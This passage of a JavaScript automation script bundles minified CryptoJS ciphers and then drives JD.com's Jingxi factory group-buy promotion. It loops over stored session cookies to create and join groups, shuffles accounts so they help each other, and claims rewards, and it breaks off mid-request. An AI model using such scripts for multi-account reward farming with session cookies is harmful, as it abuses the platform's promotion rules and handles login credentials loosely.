8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('京喜工厂开团'); +const JD_API_HOST = 'https://m.jingxi.com'; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const openTuanCK = $.isNode() ? (process.env.OPEN_DREAMFACTORY_TUAN ? process.env.OPEN_DREAMFACTORY_TUAN : '1'):'1'; +const helpFlag = false;//是否参考作者团 +let tuanActiveId = ``; +let cookiesArr = [], cookie = '', message = ''; +$.tuanIds = []; +$.appId = 10001; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + let openTuanCKList = openTuanCK.split(','); + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await getTuanActiveId(); + if(!tuanActiveId){console.log(`未能获取到有效的团活动ID`);return ;} + //let nowTime = getCurrDate(); + // let jdFactoryTime = $.getdata('jdFactoryTime'); + // if (!jdFactoryTime || nowTime !== jdFactoryTime) {$.setdata(nowTime, 'jdFactoryTime');$.setdata({}, 'jdFactoryHelpList');} + // $.jdFactoryHelpList = $.getdata('jdFactoryHelpList'); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + let runFlag = true; + for (let i = 0; i < cookiesArr.length; i++) { + if(!openTuanCKList.includes((i+1).toString())){ + continue; + } + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.tuanNum = 0;//成团人数 + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) {await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);} + runFlag = false; + continue; + } + await jdDreamFactoryTuan(); + } + } + if(!runFlag){ + console.log(`需要开团的CK已过期,请更新CK后重新执行脚本`); + return; + } + console.log(`\n===============开始账号内参团===================`); + console.log('获取到的内部团ID'+`${$.tuanIds}\n`); + //打乱CK,再进行参团 + if (!Array.prototype.derangedArray) {Array.prototype.derangedArray = function() {for(var j, x, i = this.length; i; j = parseInt(Math.random() * i), x = this[--i], this[i] = this[j], this[j] = x);return this;};} + cookiesArr.derangedArray(); + for (let i = 0; i < cookiesArr.length && $.tuanIds.length>0; i++) { + if (cookiesArr[i]) { + $.index = i + 1; + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + // if($.jdFactoryHelpList[$.UserName]){ + // console.log(`${$.UserName},参团次数已用完`) + // continue; + // } + $.isLogin = true; + $.canHelp = true;//能否参团 + await TotalBean(); + if (!$.isLogin) {continue;} + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if ((cookiesArr && cookiesArr.length >= ($.tuanNum || 5)) && $.canHelp) { + for (let j = 0; j < $.tuanIds.length; j++) { + let item = $.tuanIds[j]; + $.tuanMax = false; + if (!$.canHelp) break; + console.log(`账号${$.UserName} 去参加团 ${item}`); + await JoinTuan(item); + await $.wait(2000); + if($.tuanMax){$.tuanIds.shift();j--;} + } + } + } + } + let res = []; + if(helpFlag){ + res = await getAuthorShareCode(''); + if(!res){ + res = []; + } + if(res.length === 0){ + return ; + } + console.log(`\n===============开始助力作者团===================`); + let thisTuanID = getRandomArrayElements(res, 1)[0]; + $.tuanMax = false; + for (let i = 0; i < cookiesArr.length && !$.tuanMax; i++) { + if(openTuanCKList.includes((i+1).toString())){ + $.index = i + 1; + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`账号${$.UserName} 去参加作者团: ${thisTuanID}`); + await JoinTuan(thisTuanID); + await $.wait(2000); + } + } + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); + +async function jdDreamFactoryTuan() {try {await userInfo();await tuanActivity();} catch (e) {$.logErr(e);}} + +async function getTuanActiveId() { + const method = `GET`; + let headers = {}; + let myRequest = {url: 'https://st.jingxi.com/pingou/dream_factory/index.html', method: method, headers: headers}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + data = data && data.match(/window\._CONFIG = (.*) ;var __getImgUrl/); + if (data) { + data = JSON.parse(data[1]); + const tuanConfigs = (data[0].skinConfig[0].adConfig || []).filter(vo => !!vo && vo['channel'] === 'h5'); + if (tuanConfigs && tuanConfigs.length) { + for (let item of tuanConfigs) { + const start = item.start; + const end = item.end; + const link = item.link; + if (new Date(item.end).getTime() > Date.now()) { + if (link && link.match(/activeId=(.*),/) && link.match(/activeId=(.*),/)[1]) { + console.log(`\n获取团活动ID成功: ${link.match(/activeId=(.*),/)[1]}\n有效时段:${start} - ${end}`); + tuanActiveId = link.match(/activeId=(.*),/)[1]; + break + } + } else { + tuanActiveId = ''; + } + } + } + } + } catch (e) { + console.log(data);$.logErr(e, resp); + } finally {resolve();} + }) + }) +} + + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + "url": `${url}?${new Date()}`, + "timeout": 10000, + "headers": { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + }; + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data || []); + } + }); + await $.wait(10000); + resolve(); + }) +} +function userInfo() { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true;//标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ''; + $.shelvesList = []; + if (data.factoryList && data.productionList) { + const factory = data.factoryList[0]; + $.factoryId = factory.factoryId;//工厂ID + $.encryptPin = data.user.encryptPin; + } else { + $.unActive = false;//标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动\n`); + } else if (data.factoryList && !data.productionList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂未选购商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选购\n`) + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function tuanActivity() { + const tuanConfig = await QueryActiveConfig(); + if (tuanConfig && tuanConfig.ret === 0) { + const { activeId, surplusOpenTuanNum, tuanId } = tuanConfig['data']['userTuanInfo']; + console.log(`今日剩余开团次数:${surplusOpenTuanNum}次`); + $.surplusOpenTuanNum = surplusOpenTuanNum; + if (!tuanId && surplusOpenTuanNum > 0) { + //开团 + $.log(`准备开团`) + await CreateTuan(); + } else if (tuanId) { + //查询词团信息 + const QueryTuanRes = await QueryTuan(activeId, tuanId); + if (QueryTuanRes && QueryTuanRes.ret === 0) { + const { tuanInfo } = QueryTuanRes.data; + if ((tuanInfo && tuanInfo[0]['endTime']) <= QueryTuanRes['nowTime'] && surplusOpenTuanNum > 0) { + $.log(`之前的团已过期,准备重新开团\n`) + await CreateTuan(); + }else{ + for (let item of tuanInfo) { + const { realTuanNum, tuanNum, userInfo } = item; + $.tuanNum = tuanNum || 0; + $.log(`\n开团情况:${realTuanNum}/${tuanNum}\n`); + if (realTuanNum === tuanNum) { + for (let user of userInfo) { + if (user.encryptPin === $.encryptPin) { + if (user.receiveElectric && user.receiveElectric > 0) { + console.log(`您在${new Date(user.joinTime * 1000).toLocaleString()}开团奖励已经领取成功\n`) + if ($.surplusOpenTuanNum > 0) await CreateTuan(); + } else { + $.log(`开始领取开团奖励`); + await tuanAward(item.tuanActiveId, item.tuanId);//isTuanLeader + } + } + } + } else { + $.tuanIds.push(tuanId); + $.log(`\n此团未达领取团奖励人数:${tuanNum}人\n`) + } + } + } + } + } + } +} +function QueryActiveConfig() { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=`; + const options = taskTuanUrl(`QueryActiveConfig`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + const { userTuanInfo } = data['data']; + console.log(`\n团活动ID ${userTuanInfo.activeId}`); + console.log(`团ID ${userTuanInfo.tuanId}\n`); + } else { + console.log(`QueryActiveConfig异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function QueryTuan(activeId, tuanId) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`QueryTuan`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + // $.log(`\n开团情况:${data.data.tuanInfo.realTuanNum}/${data.data.tuanInfo.tuanNum}\n`) + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//开团API +function CreateTuan() { + return new Promise((resolve) => { + const body =`activeId=${escape(tuanActiveId)}&isOpenApp=1` + const options = taskTuanUrl(`CreateTuan`, body, '_time,activeId,isOpenApp') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`开团成功tuanId为:${data.data['tuanId']}`); + $.tuanIds.push(data.data['tuanId']); + } else { + console.log(`开团异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function JoinTuan(tuanId, stk = '_time,activeId,tuanId') { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`JoinTuan`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`参团成功:${JSON.stringify(data)}\n`); + //$.jdFactoryHelpList[$.UserName] = $.UserName; + //$.setdata($.jdFactoryHelpList, 'jdFactoryHelpList'); + $.canHelp = false; + } else if (data['ret'] === 10005 || data['ret'] === 10206) { + //火爆,或者今日参团机会已耗尽 + console.log(`参团失败:${JSON.stringify(data)}\n`); + //$.jdFactoryHelpList[$.UserName] = $.UserName; + //$.setdata($.jdFactoryHelpList, 'jdFactoryHelpList'); + $.canHelp = false; + } else if(data['ret'] === 10209){ + $.tuanMax = true; + console.log(`参团失败:${JSON.stringify(data)}\n`); + } else { + console.log(`参团失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function tuanAward(activeId, tuanId, isTuanLeader = true) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`Award`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (isTuanLeader) { + console.log(`开团奖励(团长)${data.data['electric']}领取成功`); + message += `【开团(团长)奖励】${data.data['electric']}领取成功\n`; + if ($.surplusOpenTuanNum > 0) { + $.log(`开团奖励(团长)已领取,准备开团`); + await CreateTuan(); + } + } else { + console.log(`参团奖励${data.data['electric']}领取成功`); + message += `【参团奖励】${data.data['electric']}领取成功\n`; + } + } else if (data['ret'] === 10212) { + console.log(`${JSON.stringify(data)}`); + + if (isTuanLeader && $.surplusOpenTuanNum > 0) { + $.log(`团奖励已领取,准备开团`); + await CreateTuan(); + } + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = {"url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,"headers": {"Accept": "application/json,text/plain, */*","Content-Type": "application/x-www-form-urlencoded","Accept-Encoding": "gzip, deflate, br","Accept-Language": "zh-cn","Connection": "keep-alive","Cookie": 